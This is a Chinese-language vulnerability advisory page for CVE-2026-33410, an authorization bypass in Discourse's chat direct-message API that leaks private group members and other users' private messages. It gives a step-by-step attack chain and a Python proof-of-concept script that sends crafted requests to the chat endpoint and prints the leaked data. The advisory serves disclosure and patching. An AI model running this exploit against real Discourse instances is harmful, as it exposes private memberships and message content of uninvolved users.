IPBUF安全漏洞报告
English
CVE-2026-33410 CVSS 5.4 中危

CVE-2026-33410 Discourse聊天API越权漏洞

披露日期: 2026-03-19

漏洞信息

漏洞编号
CVE-2026-33410
漏洞类型
权限绕过
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Discourse

相关标签

权限绕过信息泄露DiscourseAPI安全越权访问

漏洞概述

Discourse是一个开源讨论平台。在2026.3.0-latest.1、2026.2.1和2026.1.2之前的版本中,其聊天直接消息API存在两个严重的授权问题。首先,创建直接消息频道时未验证`target_groups`参数的可见性,导致私有群组成员身份泄露。其次,`can_chat?`检查逻辑不完整,未验证`chat_enabled`用户偏好,导致被禁用聊天的用户仍可查询其他用户的直接消息通道,可能泄露私密消息内容。官方已发布补丁修复此问题。

技术细节

该漏洞源于Discourse聊天直接消息API中的访问控制逻辑缺陷。第一个问题涉及权限校验缺失,当攻击者发送API请求创建或修改DM频道时,可以通过`target_groups`参数指定私有或隐藏群组的名称。由于服务器端未验证当前用户是否有权限查看该群组的成员信息,直接将该参数传递给数据库查询,导致攻击者能够获取该群组内所有成员的身份列表。第二个问题在于用户权限检查逻辑不完整,系统仅验证了用户是否属于某个群组,却忽略了用户个人的`chat_enabled`设置。这意味着即使管理员禁用了某用户的聊天功能,该用户仍可通过API调用创建或查询其他用户之间的直接消息通道。在这个过程中,系统返回的序列化频道响应可能包含其他用户之间的`last_message`内容,从而造成敏感隐私信息的泄露。攻击者无需复杂交互,仅需构造特定的API请求即可利用这两个漏洞。

攻击链分析

STEP 1
信息收集
攻击者识别目标Discourse实例,并推测或获取私有/隐藏群组的名称(group names)。
STEP 2
身份认证
获取一个有效的低权限用户账号凭证(即便是聊天功能被禁用的账号)。
STEP 3
利用漏洞一(成员泄露)
攻击者构造API请求,在创建直接消息时将私有群组名称填入`target_groups`参数,绕过可见性检查,获取群组成员信息。
STEP 4
利用漏洞二(消息泄露)
攻击者使用聊天被禁用的账号,通过API查询直接消息通道,绕过`can_chat?`检查,获取其他用户的私密消息内容。
STEP 5
数据窃取
解析API返回的JSON数据,提取用户身份及敏感的`last_message`内容。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit for CVE-2026-33410 # This PoC demonstrates the authorization bypass in Discourse Chat API. TARGET_URL = "http://target-discourse-instance.com" API_KEY = "YOUR_API_KEY" API_USERNAME = "YOUR_USERNAME" # Valid user, potentially chat-disabled headers = { "Api-Key": API_KEY, "Api-Username": API_USERNAME, "Content-Type": "application/json" } # Issue 1: Leak private group members via target_groups parameter print("[*] Attempting to leak private group members...") payload_create_dm = { "target_groups": ["private_hidden_group_name"], # Known private group name "message": "test" } # Endpoint might vary based on API version try: r = requests.post(f"{TARGET_URL}/chat/direct_messages", json=payload_create_dm, headers=headers) if r.status_code == 200: print("[+] Potential leak: Channel created/retrieved. Check response for user IDs.") print(r.json()) except Exception as e: print(f"[-] Error: {e}") # Issue 2: Chat-disabled user querying channels print("[*] Attempting to query channels as chat-disabled user...") try: r = requests.get(f"{TARGET_URL}/chat/direct_messages", headers=headers) if r.status_code == 200: print("[+] Successfully retrieved channels. Check for 'last_message' leaks.") print(r.json()) except Exception as e: print(f"[-] Error: {e}")

影响范围

Discourse < 2026.3.0-latest.1
Discourse < 2026.2.1
Discourse < 2026.1.2

防御指南

临时缓解措施
官方未提供临时缓解措施,建议立即升级至修复版本以防止信息泄露。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表